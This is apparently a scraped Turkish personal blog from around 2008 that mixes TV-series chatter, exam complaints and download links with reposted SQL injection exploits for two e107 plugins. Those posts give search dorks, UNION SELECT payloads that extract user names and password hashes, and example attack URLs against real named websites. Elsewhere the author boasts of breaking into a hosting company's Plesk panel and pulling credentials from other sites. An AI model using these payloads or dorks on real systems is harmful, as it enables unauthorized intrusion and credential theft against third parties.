e107 Plugin lyrics_menu (lyrics_song.php l_id) SQL Injection Vulnerability

e107 Plugin lyrics_menu (lyrics_song.php l_id) SQL Injection Vulnerability

author: ZoRLu

dork: allinurl:"lyrics_menu/lyrics_song.php?l_id="

exploit:

http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2]

[SQL1] = column number 15

-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user--

example 1:

http://www.mirage.org/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15++from+e107_user--

[SQL2] = column number 17

-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

example 2:

http://www.reklamadatbazis.hu/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

kaynak: http://www.milw0rm.com/exploits/6885

a.q Kurtlar Vadisi

bir hafta zor sabrediyoruz birde bakıyoruz ki bu hafta bölüm yayınlanmayacak hay sizin yayın akışı anlayışınıza sokam doğru dürüst iş yapın :@

cookie editor

işinize muhakkak yarar.

link 1: COOKi EDiTOR SiTESi



link 2: RAPiD

e107 Plugin BLOG Engine 2.1.4 Remote SQL Injection Vulnerability

e107 Plugin BLOG Engine 2.1.4 Remote SQL Injection Vulnerability

author: ZoRLu

dork: allinurl:"macgurublog.php?uid="

exploit:

http://localhost/script_path/macgurublog.php?uid=[SQL]

[SQL]=

-1+union+select+concat(user_name,char(58),user_password,char(58)),2+from+e107_user/*

example:

http://www.dmchat.org.uk/e107_plugins/macgurublog_menu/macgurublog.php?uid=-1+union+select+concat(user_name,char(58),user_password,char(58)),2+from+e107_user/*

Kaynak: http://www.milw0rm.com/exploits/6856

blogspot kapandı

a.q neye elimizi attıysak kuruttuk :) ownspace kapandı simdi de blogspot kapandı. şükür tekrar açıldı :) neyse tekrar hayırlı olsun

MoonStar Mtu Sözlük

ingilizce Türkçe çeviri sözlüğü işinize yarayacaktır.

TIKLA iNDiR

Kurtlar Vadisi Pusu 44. bölüm fragman

polat bu sefer kaçmayı başarıyor heralde. iskenderinde yavaş yavaş suyu ısınıyor :)

TIKLA iNDiR


Kaynak: http://www.dailymotion.com/

kpss start aldı :(

a.q kpss çıktı bide. işi gücü bıraktık sınavlara hazırlanıyoruz. ı hop ( umarım ) mutlu sonla biter kpss macerası :(

Folder Lock 6.0.1

Folder Lock yazılımı ile sabit sürücünüzdeki tüm klasörlere, dosyalara, resimlere, dökümanlara ve aklınıza gelebilecek her türlü dosyaya kilit koyabilirsiniz. İsterseniz yazılımın kendi oluşturduğu bir kasaya çok önemli dosyalarınızı atabilir ve insanların görmesini engelleyebilirsiniz. Yazılım şifreleme işlemini 2 saniyede yapacak kadar iddialı ve hızlı. Tek bir fare tıklaması ile şifreleme yapabilecek kadar da basit.

Dosyaları şifreleme işleminde DOS altından dahi açılmıyor, üstelik sistem kendiliğinden açılıp kapansa bile her seferinde kendiliğinden şifre koruması devreye giriyor. Hem flaş diskleri hemde disket sürücüsünü şifreleyebilme özelliği de bulunuyor. Desteklediği dosya formatları; FAT16, FAT32, NTFS, EFS.

TIKLA iNDiR



Kaynak: http://gaggateknohaber.blogspot.com/2008/10/folder-lock-601-2-mb-rs.html

domain firmasının admin paneli

bugün sabaha karşı can sıkıntısından biraz hack ile uğraştım bir sitenin plesk paneline ulaştım daha doğrusu bir domain firmasının plesk paneline ulaştım baya site vardı :) resimdekiler sadece bunlardan bir kaçı...

yazıyorum hamsi kokusu üzerimde :P

şimdi the_k@m!l hamsi yapmıştı toplandık off nasılda özlemiştim :) the_k@m!l bacanak ellerine sağlık. bi teşekkür yazısı yazayım dedim :)

hay a.q kpss

bu sınav yüzünden artık nete fazla takılamıyorum. he takılmıyorumda ders mi çalışıyorum külliyen yalan :) daha ortam kpss ye hazırlanmak için müsait deil :)

Kurtlar vadisi 43. bölüm fragman - yeni bölüm

polata yaman dayat atıyorlar ağız göz birbirine girmiş :( memati bomba patlatacak heralde (yakışır mematime) :)

TIKLA iZLE




Kaynak: http://yeah28.wordpress.com

bizimantalya.com

gecenlerde bizimantalya.com adlı sitede gezinirken küçük bi denem yaptım ve veritabanına kayıtlı kullanıcı adı ve sifreye ulaştım. Türk sitesi olduğu içinde zarar vermedim. site sahibine bildirim kendiside saolsun dikkate almış ve açığı kapatmış. işte mail:

milw0rm

bugün milw0rm.com a bir göz attım ve çok hoş birşeyle karşılaştım. milw0rmda Türk author sayısında artış var her nekadar bazıları bunu çekemiyor olsada bence bu çok hoş. inş zamanla milw0rm tamamen Türk author larla dolup taşacak.

işte bir üniversitenin web sayfasında açık.

küçük bir araştırma ile sitede sql olduğunu farkettim ve veri tabanındaki sifrelere ulaştım. site yönetimine bildirdim umarım açığı kapatırlar.

Kurtlar Vadisi Sezona iyi Başladı

bence süper bir bölümdü. helal olsun polatıma duman etti ortalığı ;) gerçekten süperdi umarım hep böyle güzel devam eder epeydir böyle güzel bölümler çekilmiyordu. polat hasta rolünü iyi yapmış. küçük emrah gibiydi. hatırlamıyorum abi :)

kurtlar vadisi fragman

perşembe günü yayınlanacak olan bölüm süper :) polat iskendere iyi bi kafa gömüyor detayları sizde izleyin görün ;)

TIKLA iZLE

Dersler başladı : )

öss yi kazanmış olmak yetmiyor üniversite yi bitirmekte yetmiyor biliyorsunuz birde kpss sınavı var yani zorlu bir sınav bunu kazanamadıkmı üniversite okumuş olmamızın hiç bir önemi yok :P gerçekten öyle. o yüzden pek sık nete giremiycem. dolayısıyla pek fazla makale yayınlayamayacağım. see you :)

A.R.O.G Yakında

arog 5 aralıkta vizyona giriyormuş. hatta şimdiye kadar çoktan girecekti de sırf şahanın recep ivedik adlı filmi ile aynı zamanlara denk geldiğinden erteleme kararı almıştı. ( reyting kaygısı ). artık yayınlanma zamanının geldiğini düşündü heralde cem yılmaz ve daha fazla dayanamadı :) işte film fragmanı:

TIKLA iZLE